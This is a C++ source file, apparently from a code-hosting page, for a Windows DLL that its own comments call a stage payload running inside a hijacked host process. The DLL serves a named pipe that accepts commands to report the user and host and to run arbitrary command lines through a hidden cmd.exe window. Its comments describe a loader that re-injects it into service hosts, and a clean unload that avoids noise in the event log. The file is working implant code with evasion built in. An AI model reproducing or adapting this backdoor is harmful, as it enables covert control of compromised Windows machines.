300 lines
7.2 KiB
C++
300 lines
7.2 KiB
C++
// Stage payload: runs inside a hijacked host process.
|
|
//
|
|
// Contract with the loader:
|
|
// - named pipe \\.\pipe\ArDrvStage
|
|
// - one request per connection, UTF-8, newline terminated
|
|
// - response: UTF-8, ends with "<<" sentinel line, then the pipe closes
|
|
// - commands: PING | WHOAMI | RUN <command line> | STOP
|
|
//
|
|
// The DLL is intentionally small: it is a command runner, not a second agent.
|
|
// All policy (which host, when to re-inject) stays in the loader so the payload
|
|
// can be swapped without touching the services.
|
|
|
|
#include <windows.h>
|
|
|
|
#include <string>
|
|
#include <vector>
|
|
|
|
static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
|
|
static const wchar_t* kMutexName = L"Global\\ArDrvStage";
|
|
static const char* kEnd = "<<";
|
|
static HMODULE g_module = nullptr;
|
|
static HANDLE g_mutex = nullptr;
|
|
|
|
static std::string Narrow(const std::wstring& w)
|
|
{
|
|
if (w.empty())
|
|
return std::string();
|
|
|
|
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
|
|
|
|
if (need <= 0)
|
|
return std::string();
|
|
|
|
std::string out(need, '\0');
|
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
|
|
return out;
|
|
}
|
|
|
|
static std::wstring Widen(const std::string& s)
|
|
{
|
|
if (s.empty())
|
|
return std::wstring();
|
|
|
|
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
|
|
|
if (need <= 0)
|
|
return std::wstring();
|
|
|
|
std::wstring out(need, L'\0');
|
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
|
|
return out;
|
|
}
|
|
|
|
static std::wstring CmdExe()
|
|
{
|
|
wchar_t sys[MAX_PATH]{};
|
|
|
|
if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
|
|
return L"C:\\Windows\\System32\\cmd.exe";
|
|
|
|
return std::wstring(sys) + L"\\cmd.exe";
|
|
}
|
|
|
|
// Runs a command line through cmd.exe and captures stdout+stderr.
|
|
static bool RunCapture(const std::wstring& commandLine, std::wstring& output)
|
|
{
|
|
output.clear();
|
|
|
|
SECURITY_ATTRIBUTES sa{};
|
|
sa.nLength = sizeof(sa);
|
|
sa.bInheritHandle = TRUE;
|
|
|
|
HANDLE readEnd = nullptr;
|
|
HANDLE writeEnd = nullptr;
|
|
|
|
if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
|
|
return false;
|
|
|
|
SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
STARTUPINFOW si{};
|
|
si.cb = sizeof(si);
|
|
si.dwFlags = STARTF_USESTDHANDLES;
|
|
si.hStdOutput = writeEnd;
|
|
si.hStdError = writeEnd;
|
|
si.hStdInput = nullptr;
|
|
|
|
PROCESS_INFORMATION pi{};
|
|
|
|
std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine;
|
|
std::vector<wchar_t> mutableCmd(full.begin(), full.end());
|
|
mutableCmd.push_back(L'\0');
|
|
|
|
BOOL ok = CreateProcessW(
|
|
nullptr,
|
|
mutableCmd.data(),
|
|
nullptr,
|
|
nullptr,
|
|
TRUE,
|
|
CREATE_NO_WINDOW,
|
|
nullptr,
|
|
nullptr,
|
|
&si,
|
|
&pi);
|
|
|
|
CloseHandle(writeEnd);
|
|
|
|
if (!ok)
|
|
{
|
|
CloseHandle(readEnd);
|
|
return false;
|
|
}
|
|
|
|
std::string bytes;
|
|
char buf[4096]{};
|
|
DWORD read = 0;
|
|
|
|
while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
|
|
bytes.append(buf, read);
|
|
|
|
WaitForSingleObject(pi.hProcess, 30000);
|
|
|
|
CloseHandle(readEnd);
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
|
|
output = Widen(bytes);
|
|
return true;
|
|
}
|
|
|
|
static void ServeConnection(HANDLE pipe)
|
|
{
|
|
std::string request;
|
|
char ch = 0;
|
|
DWORD read = 0;
|
|
|
|
while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1)
|
|
{
|
|
if (ch == '\n')
|
|
break;
|
|
|
|
if (request.size() > 32 * 1024)
|
|
break;
|
|
|
|
request.push_back(ch);
|
|
}
|
|
|
|
std::wstring line = Widen(request);
|
|
|
|
while (!line.empty() && (line.back() == L'\r'))
|
|
line.pop_back();
|
|
|
|
std::string response;
|
|
|
|
auto reply = [&](const std::string& status, const std::wstring& body)
|
|
{
|
|
response = status + "\n" + Narrow(body) + kEnd + "\n";
|
|
};
|
|
|
|
std::wstring command;
|
|
size_t sp = line.find(L' ');
|
|
|
|
if (sp == std::wstring::npos)
|
|
{
|
|
command = line;
|
|
}
|
|
else
|
|
{
|
|
command = line.substr(0, sp);
|
|
}
|
|
|
|
std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1);
|
|
|
|
if (_wcsicmp(command.c_str(), L"PING") == 0)
|
|
{
|
|
reply("OK", L"PONG");
|
|
}
|
|
else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0)
|
|
{
|
|
wchar_t user[256]{};
|
|
DWORD len = _countof(user);
|
|
|
|
std::wstring who = L"?";
|
|
wchar_t name[256]{};
|
|
DWORD nameLen = _countof(name);
|
|
|
|
if (GetUserNameW(user, &len))
|
|
who = user;
|
|
|
|
if (GetComputerNameW(name, &nameLen))
|
|
who = std::wstring(name) + L"\\" + who;
|
|
|
|
wchar_t self[MAX_PATH]{};
|
|
GetModuleFileNameW(nullptr, self, _countof(self));
|
|
|
|
reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) +
|
|
L" image=" + self);
|
|
}
|
|
else if (_wcsicmp(command.c_str(), L"RUN") == 0)
|
|
{
|
|
if (rest.empty())
|
|
{
|
|
reply("ERR", L"ERR_USAGE RUN <command line>");
|
|
}
|
|
else
|
|
{
|
|
std::wstring output;
|
|
|
|
if (RunCapture(rest, output))
|
|
reply("OK", output);
|
|
else
|
|
reply("ERR", L"exec failed");
|
|
}
|
|
}
|
|
else if (_wcsicmp(command.c_str(), L"STOP") == 0)
|
|
{
|
|
reply("OK", L"stopping");
|
|
|
|
DWORD written = 0;
|
|
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
|
|
FlushFileBuffers(pipe);
|
|
DisconnectNamedPipe(pipe);
|
|
CloseHandle(pipe);
|
|
|
|
// Unload cleanly instead of killing the host: a service host that dies
|
|
// takes unrelated services with it and makes noise in the event log.
|
|
if (g_mutex)
|
|
{
|
|
CloseHandle(g_mutex);
|
|
g_mutex = nullptr;
|
|
}
|
|
|
|
FreeLibraryAndExitThread(g_module, 0);
|
|
}
|
|
else
|
|
{
|
|
reply("ERR", L"ERR_UNKNOWN " + command);
|
|
}
|
|
|
|
DWORD written = 0;
|
|
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
|
|
FlushFileBuffers(pipe);
|
|
}
|
|
|
|
static DWORD WINAPI StageThread(void*)
|
|
{
|
|
while (true)
|
|
{
|
|
HANDLE pipe = CreateNamedPipeW(
|
|
kPipeName,
|
|
PIPE_ACCESS_DUPLEX,
|
|
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
|
|
PIPE_UNLIMITED_INSTANCES,
|
|
64 * 1024,
|
|
64 * 1024,
|
|
0,
|
|
nullptr);
|
|
|
|
if (pipe == INVALID_HANDLE_VALUE)
|
|
{
|
|
Sleep(1000);
|
|
continue;
|
|
}
|
|
|
|
if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED)
|
|
ServeConnection(pipe);
|
|
|
|
DisconnectNamedPipe(pipe);
|
|
CloseHandle(pipe);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
|
|
{
|
|
if (reason == DLL_PROCESS_ATTACH)
|
|
{
|
|
DisableThreadLibraryCalls(module);
|
|
g_module = module;
|
|
|
|
HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName);
|
|
|
|
if (mutex && GetLastError() == ERROR_ALREADY_EXISTS)
|
|
{
|
|
CloseHandle(mutex);
|
|
return TRUE;
|
|
}
|
|
|
|
g_mutex = mutex;
|
|
|
|
HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr);
|
|
|
|
if (thread)
|
|
CloseHandle(thread);
|
|
}
|
|
|
|
return TRUE;
|
|
}
|